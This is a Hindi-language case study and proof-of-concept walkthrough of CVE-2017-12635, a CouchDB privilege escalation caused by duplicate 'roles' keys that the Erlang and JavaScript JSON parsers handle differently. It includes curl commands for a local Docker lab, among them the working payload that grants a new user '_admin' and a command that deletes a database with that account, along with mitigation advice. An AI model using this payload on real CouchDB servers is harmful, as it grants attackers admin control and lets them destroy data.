
CVE-2017-12635 का केस स्टडी और POC: Apache CouchDB 1.7.0 / 2.x < 2.1.1 - रिमोट विशेषाधिकार वृद्धि
CVE-2017-12635 का केस स्टडी और PoC (Apache CouchDB 1.7.0 / 2.x < 2.1.1) - रिमोट विशेषाधिकार वृद्धि
Apache CouchDB एक दस्तावेज़-उन्मुख NoSQL डेटाबेस है, जिसे Erlang में लागू किया गया है।
CouchDB अपने डेटा को संग्रहीत, स्थानांतरित और संसाधित करने के लिए कई प्रारूपों और प्रोटोकॉल का उपयोग करता है, यह डेटा संग्रहीत करने के लिए JSON, MapReduce का उपयोग करके अपनी क्वेरी भाषा के रूप में JavaScript, और API के लिए HTTP का उपयोग करता है।
CouchDB का उपयोग सिंगल नोड डेटाबेस के साथ-साथ क्लस्टर के रूप में भी किया जा सकता है।
Erlang-आधारित JSON पार्सर और JavaScript-आधारित JSON पार्सर के बीच विसंगति के कारण, CouchDB 1.7.0 से पहले और 2.x में 2.1.1 से पहले एक भेद्यता थी जो गैर-व्यवस्थापक उपयोगकर्ताओं को डेटाबेस के भीतर एक्सेस नियंत्रण के लिए उपयोग की जाने वाली डुप्लिकेट roles कुंजियों वाले _users दस्तावेज़ जमा करके विशेषाधिकार बढ़ाने की अनुमति देती थी, जिसमें विशेष मामला _admin भूमिका भी शामिल है, जो व्यवस्थापकीय उपयोगकर्ताओं को दर्शाती है।
संक्षेप में, यह भेद्यता गैर-व्यवस्थापक उपयोगकर्ताओं को स्वयं को व्यवस्थापक विशेषाधिकार देने की अनुमति देती है।
शुरुआत में, CouchDB किसी भी व्यक्ति द्वारा कोई भी अनुरोध करने की अनुमति देता है। सभी के पास कुछ भी करने के विशेषाधिकार होते हैं।
CouchDB में एक व्यवस्थापक उपयोगकर्ता (जैसे एक प्रशासक, सुपर यूज़र, या रूट) की अवधारणा है जिसे CouchDB इंस्टॉलेशन पर कुछ भी करने की अनुमति है। डिफ़ॉल्ट रूप से, हर कोई एक व्यवस्थापक होता है। यदि आपको यह पसंद नहीं है, तो आप उपयोगकर्ता नाम और पासवर्ड को अपनी साख के रूप में रखने वाले विशिष्ट व्यवस्थापक उपयोगकर्ता बना सकते हैं।
CouchDB उन अनुरोधों का एक समूह भी परिभाषित करता है जो केवल व्यवस्थापक उपयोगकर्ताओं को करने की अनुमति है। अधिक जानकारी के लिए आधिकारिक दस्तावेज़ देखें।
CouchDB के पास एक विशेष प्रमाणीकरण डेटाबेस है जो सभी पंजीकृत उपयोगकर्ताओं को JSON दस्तावेज़ों के रूप में संग्रहीत करता है।
CouchDB पंजीकृत उपयोगकर्ताओं के बारे में जानकारी संग्रहीत करने के लिए एक विशेष डेटाबेस (डिफ़ॉल्ट रूप से _users कहा जाता है) का उपयोग करता है। यह एक सिस्टम डेटाबेस है – इसका मतलब है कि यद्यपि यह सामान्य डेटाबेस API साझा करता है, कुछ विशेष सुरक्षा-संबंधी बाधाएं लागू होती हैं और दस्तावेज़ संरचना पर समझौते उपयोग किए जाते हैं।
केवल व्यवस्थापक ही _users डेटाबेस में किसी भी दस्तावेज़ को GET, PUT या DELETE कर सकते हैं।
उपयोगकर्ता केवल उन्हीं दस्तावेज़ों तक पहुंच (GET /_users/org.couchdb.user:<username>) या संशोधन (PUT /_users/org.couchdb.user:<username>) कर सकते हैं जिनके वे स्वामी हैं।
प्रत्येक CouchDB उपयोगकर्ता दस्तावेज़ प्रारूप में संग्रहीत होता है। इन दस्तावेज़ों में कई अनिवार्य फ़ील्ड होते हैं, जिन्हें CouchDB सही प्रमाणीकरण प्रक्रिया के लिए संभालता है। हम roles फ़ील्ड में रुचि रखते हैं।
roles फ़ील्ड उपयोगकर्ता भूमिकाओं की एक सूची है। CouchDB कोई अंतर्निहित भूमिकाएं प्रदान नहीं करता है, इसलिए आप अपनी आवश्यकताओं के अनुसार अपनी खुद की परिभाषित करने के लिए स्वतंत्र हैं। हालाँकि, आप वहां _admin जैसी सिस्टम भूमिकाएं निर्धारित नहीं कर सकते। साथ ही, केवल व्यवस्थापक ही उपयोगकर्ताओं को भूमिकाएं निर्दिष्ट कर सकते हैं - डिफ़ॉल्ट रूप से सभी उपयोगकर्ताओं के पास कोई भूमिका नहीं होती है।
CouchDB Erlang में लिखा गया है, लेकिन उपयोगकर्ताओं को Javascript में दस्तावेज़ सत्यापन स्क्रिप्ट निर्दिष्ट करने की अनुमति देता है। जब कोई दस्तावेज़ बनाया या अपडेट किया जाता है तो ये स्क्रिप्ट स्वचालित रूप से मूल्यांकित की जाती हैं। वे एक नई प्रक्रिया में शुरू होती हैं, और Erlang पक्ष से JSON-क्रमबद्ध दस्तावेज़ उन्हें पारित किए जाते हैं।
CouchDB फ़ंक्शन और दस्तावेज़ों को एक JavaScript इंटरप्रेटर को भेजता है। यह तंत्र ही उपयोगकर्ताओं को JavaScript में दस्तावेज़ सत्यापन फ़ंक्शन लिखने की अनुमति देता है। validate_doc_update फ़ंक्शन प्रत्येक निर्मित या अद्यतन दस्तावेज़ के लिए निष्पादित होता है। यदि सत्यापन फ़ंक्शन कोई अपवाद उठाता है, तो अद्यतन अस्वीकार कर दिया जाता है; जब ऐसा नहीं होता है, तो अद्यतन स्वीकार किए जाते हैं।
CouchDB अमान्य या अनधिकृत दस्तावेज़ अद्यतनों को आगे बढ़ने से रोकने के लिए validate_doc_update फ़ंक्शन का उपयोग करता है।
function(newDoc, oldDoc, userCtx, secObj) {...}
तर्क:
newDoc – दस्तावेज़ का नया संस्करण जो संग्रहीत किया जाएगाoldDoc – दस्तावेज़ का पिछला संस्करण जो पहले से संग्रहीत हैuserCtx – उपयोगकर्ता संदर्भ ऑब्जेक्टsrcObj – सुरक्षा ऑब्जेक्टफ़ंक्शन को अद्यतन अनुरोध से नया दस्तावेज़, डेटाबेस में संग्रहीत वर्तमान दस्तावेज़, दस्तावेज़ लिखने वाले उपयोगकर्ता के बारे में जानकारी वाला एक User Context Object (यदि मौजूद है), और डेटाबेस सुरक्षा भूमिकाओं की सूचियों वाला एक Security Object पारित किया जाता है।
CouchDB द्वारा आंतरिक रूप से उपयोग किया जाने वाला JSON पार्सर jiffy है और JavaScript द्वारा सत्यापन स्क्रिप्ट में उपयोग किया जाने वाला JSON है।
समस्या यह है कि डुप्लिकेट कुंजियों से निपटने के दौरान JSON और jiffy के बीच विसंगति है।
किसी दी गई कुंजी के लिए, Erlang पार्सर दोनों मानों को संग्रहीत करेगा, लेकिन Javascript पार्सर केवल अंतिम मान को संग्रहीत करेगा।
उदाहरण के लिए, दोनों पार्सरों का उपयोग करके {"name":"John", "name":"Jane"} को पार्स करने पर उत्पन्न होगा:
jiffy का उपयोग करके: {[{<<"name">>,<<"John">>},{<<"name">>,<<"Jane">>}]}JSON का उपयोग करके: {name: "Jane"}डेटा के CouchDB के आंतरिक प्रतिनिधित्व के लिए गेटर फ़ंक्शन केवल पहला मान लौटाएगा।
हम डुप्लिकेट roles कुंजी वाला उपयोगकर्ता बनाकर सभी प्रासंगिक इनपुट सत्यापन को दरकिनार कर सकते हैं और एक व्यवस्थापक उपयोगकर्ता बना सकते हैं।
नए उपयोगकर्ता का दस्तावेज़ ऐसा दिखता है: {..., "roles": ["_admin"], "roles": [], ...}।
डेटा के CouchDB के आंतरिक प्रतिनिधित्व के लिए गेटर फ़ंक्शन केवल पहला मान लौटाएगा। परिणामस्वरूप, Erlang की दुनिया में, हम खुद को _admin भूमिका वाला देखेंगे, जबकि Javascript की दुनिया में हमारे पास कोई विशेष अनुमति नहीं दिखती।
हमलावर के लिए सौभाग्य से, इनपुट सत्यापन स्क्रिप्ट के अलावा, प्रमाणीकरण और प्राधिकरण से संबंधित लगभग सभी महत्वपूर्ण तर्क CouchDB के Erlang भाग में होते हैं।
इस डेमो के लिए, हम आधिकारिक रिपॉजिटरी couchdb से एक Docker इमेज का उपयोग करेंगे। हमें API कॉल करने के लिए एक HTTP क्लाइंट की आवश्यकता है और हम इसके लिए cURL का उपयोग करेंगे।
इस डेमो के लिए किसी भी ऑपरेटिंग सिस्टम का उपयोग किया जा सकता है।
आवश्यक शर्तें:
भेद्यता का शोषण करने के लिए चलाने हेतु ये आदेश हैं:
couchdb आधिकारिक इमेज के आधार पर एक कंटेनर बनाएं
docker container run -d --name couchdb-sandbox -p 5984:5984 couchdb:1.6.1
हमने 1.6.1 टैग चुना क्योंकि CouchDB का संस्करण 1.6.1 भेद्य है।
सुनिश्चित करें कि CouchDB इंस्टेंस लॉन्च और कार्यशील है
curl -X GET http://localhost:5984
क्वेरी: इंस्टेंस में सभी डेटाबेस
curl -X GET http://localhost:5984/_all_dbs
क्वेरी: records नामक एक नया डेटाबेस बनाएं
curl -X PUT http://localhost:5984/records
क्वेरी: सुनिश्चित करें कि डेटाबेस records बन गया है
curl -X GET http://localhost:5984/_all_dbs
हम CouchDB इंस्टेंस से सभी रिकॉर्ड प्राप्त, जोड़ और यहां तक कि हटा सकते हैं क्योंकि एक डिफ़ॉल्ट CouchDB इंस्टॉल सभी कनेक्ट होने वाले उपयोगकर्ताओं को व्यवस्थापक-स्तरीय पहुंच प्रदान करता है। यह कॉन्फ़िगरेशन एडमिन पार्टी के रूप में जाना जाता है। हम केवल पहला व्यवस्थापक खाता बनाकर पार्टी को खत्म कर सकते हैं।
क्वेरी: साख admin:admin के साथ एक व्यवस्थापक खाता बनाएं
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
डेमो ने साबित कर दिया कि कोई भी उपयोगकर्ता व्यवस्थापक भूमिका के साथ एक खाता बना सकता है और डेटाबेस पर ऐसे कार्य कर सकता है जैसे वह व्यवस्थापक हो।
हम दो प्रकार के CouchDB इंस्टेंसों में अंतर कर सकते हैं:
डिफ़ॉल्ट रूप से, एक CouchDB इंस्टेंस से अज्ञात उपयोगकर्ताओं द्वारा अनुरोध किया जा सकता है। यह सुनिश्चित करने के लिए कि सभी अनुमत अनुरोध केवल प्रमाणित उपयोगकर्ताओं से हैं, हम डेटाबेस कॉन्फ़िग फ़ाइल में require_valid_user को true पर सेट कर सकते हैं। ऐसा करने से, अज्ञात उपयोगकर्ताओं से कोई अनुरोध की अनुमति नहीं होती है, सभी को प्रमाणित होना चाहिए।
दुर्भावनापूर्ण उपयोगकर्ताओं को भेद्यता का शोषण करने से रोकने के लिए ये कुछ कदम उठाने चाहिए। यह उन सभी CouchDB 1.x और 2.x उपयोगकर्ताओं के लिए मान्य है जो 2.1.1 या उसके बाद, या 1.7.1 या उसके बाद के संस्करण पर नहीं हैं।
सार्वजनिक CouchDB इंस्टेंस:
require_valid_user सक्षम किया है और यदि आप अपने सभी उपयोगकर्ताओं पर डेटाबेस व्यवस्थापक और सर्वर शेल एक्सेस के साथ भरोसा करते हैं: कोई समस्या नहीं है।आंतरिक CouchDB इंस्टेंस:
require_valid_user सक्षम किया है और यदि आप अपने सभी उपयोगकर्ताओं पर डेटाबेस व्यवस्थापक और सर्वर शेल एक्सेस के साथ भरोसा करते हैं: कोई समस्या नहीं है।require_valid_user अक्षम किया है और यदि आप अपने सभी उपयोगकर्ताओं पर डेटाबेस व्यवस्थापक और सर्वर शेल एक्सेस के साथ भरोसा करते हैं: require_valid_user सक्षम करें।API: एक एप्लिकेशन प्रोग्रामिंग इंटरफ़ेस (API) कंप्यूटर प्रोग्राम के विभिन्न भागों के बीच एक इंटरफ़ेस या संचार प्रोटोकॉल है जिसका उद्देश्य सॉफ़्टवेयर के कार्यान्वयन और रखरखाव को सरल बनाना है।
Erlang: Erlang एक सामान्य-उद्देश्यीय, समवर्ती, कार्यात्मक प्रोग्रामिंग भाषा है, और एक गार्बेज-कलेक्टेड रनटाइम प्रणाली है।
HTTP: हाइपरटेक्स्ट ट्रांसफर प्रोटोकॉल (HTTP) वितरित, सहयोगात्मक, हाइपरमीडिया सूचना प्रणालियों के लिए एक अनुप्रयोग प्रोटोकॉल है। HTTP वर्ल्ड वाइड वेब के लिए डेटा संचार की नींव है, जहां हाइपरटेक्स्ट दस्तावेज़ों में अन्य संसाधनों के हाइपरलिंक शामिल होते हैं जिन्हें उपयोगकर्ता आसानी से एक्सेस कर सकता है।
JSON: जावास्क्रिप्ट ऑब्जेक्ट नोटेशन (JSON) एक ओपन-स्टैंडर्ड फ़ाइल प्रारूप या डेटा इंटरचेंज प्रारूप है जो विशेषता-मूल्य जोड़े और सरणी डेटा प्रकारों (या किसी अन्य क्रमबद्ध मान) से युक्त डेटा ऑब्जेक्ट को संचारित करने के लिए मानव-पठनीय पाठ का उपयोग करता है। यह एक बहुत ही सामान्य डेटा प्रारूप है, जिसमें विविध प्रकार के अनुप्रयोग हैं, जैसे AJAX प्रणालियों में XML के प्रतिस्थापन के रूप में कार्य करना।
MapReduce: MapReduce एक प्रोग्रामिंग मॉडल है और एक क्लस्टर पर समानांतर, वितरित एल्गोरिदम के साथ बड़े डेटा सेटों को संसाधित करने और उत्पन्न करने के लिए एक संबद्ध कार्यान्वयन है।
NoSQL: एक NoSQL डेटाबेस डेटा के भंडारण और पुनर्प्राप्ति के लिए एक तंत्र प्रदान करता है जिसे रिलेशनल डेटाबेस में उपयोग की जाने वाली सारणीबद्ध संबंधों के अलावा अन्य तरीकों से मॉडल किया जाता है।
PoC: प्रूफ ऑफ कॉन्सेप्ट (PoC) किसी निश्चित विधि या विचार की व्यवहार्यता प्रदर्शित करने के लिए उसकी प्राप्ति है, या यह सत्यापित करने के उद्देश्य से सिद्धांत रूप में एक प्रदर्शन है कि किसी अवधारणा या सिद्धांत में व्यावहारिक क्षमता है।
विशेषाधिकार वृद्धि: विशेषाधिकार वृद्धि एक ऑपरेटिंग सिस्टम या सॉफ़्टवेयर एप्लिकेशन में बग, डिज़ाइन दोष या कॉन्फ़िगरेशन चूक का शोषण करके उन संसाधनों तक उन्नत पहुंच प्राप्त करने का कार्य है जो सामान्य रूप से किसी एप्लिकेशन या उपयोगकर्ता से संरक्षित होते हैं।
क्वेरी: new_records नामक एक नया डेटाबेस बनाएं
curl -X PUT http://localhost:5984/new_records
ओह! हम अब एक नया डेटाबेस नहीं बना सकते क्योंकि पहला व्यवस्थापक खाता बनाते ही एडमिन पार्टी खत्म हो गई थी।
क्वेरी: व्यवस्थापक प्रमाणीकरण के साथ new_recors नामक एक नया डेटाबेस बनाएं
curl -X PUT http://admin:admin@localhost:5984/new_records
क्वेरी: _users डेटाबेस में एक नया दस्तावेज़ बनाएं
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'
यहां हम _users डेटाबेस में एक नया दस्तावेज़ बना सकते हैं, लेकिन इसके तर्कों पर प्रतिबंधों के साथ।
हम पहले बताए अनुसार roles फ़ील्ड की नकल करके प्रतिबंधों को दरकिनार कर सकते हैं।
क्वेरी: new_records नामक डेटाबेस को हटाएं
curl -X DELETE http://localhost:5984/new_records
ओह! हम नहीं कर सकते क्योंकि हमारे पास व्यवस्थापक भूमिका नहीं है।
क्वेरी: अतिथि प्रमाणीकरण के साथ new_records नामक डेटाबेस को हटाएं
curl -X DELETE http://guest:guest@localhost:5984/new_records
बिंगो! हमने डेटाबेस को हटा दिया, भले ही अतिथि खाता एक सामान्य उपयोगकर्ता के रूप में बनाया गया था।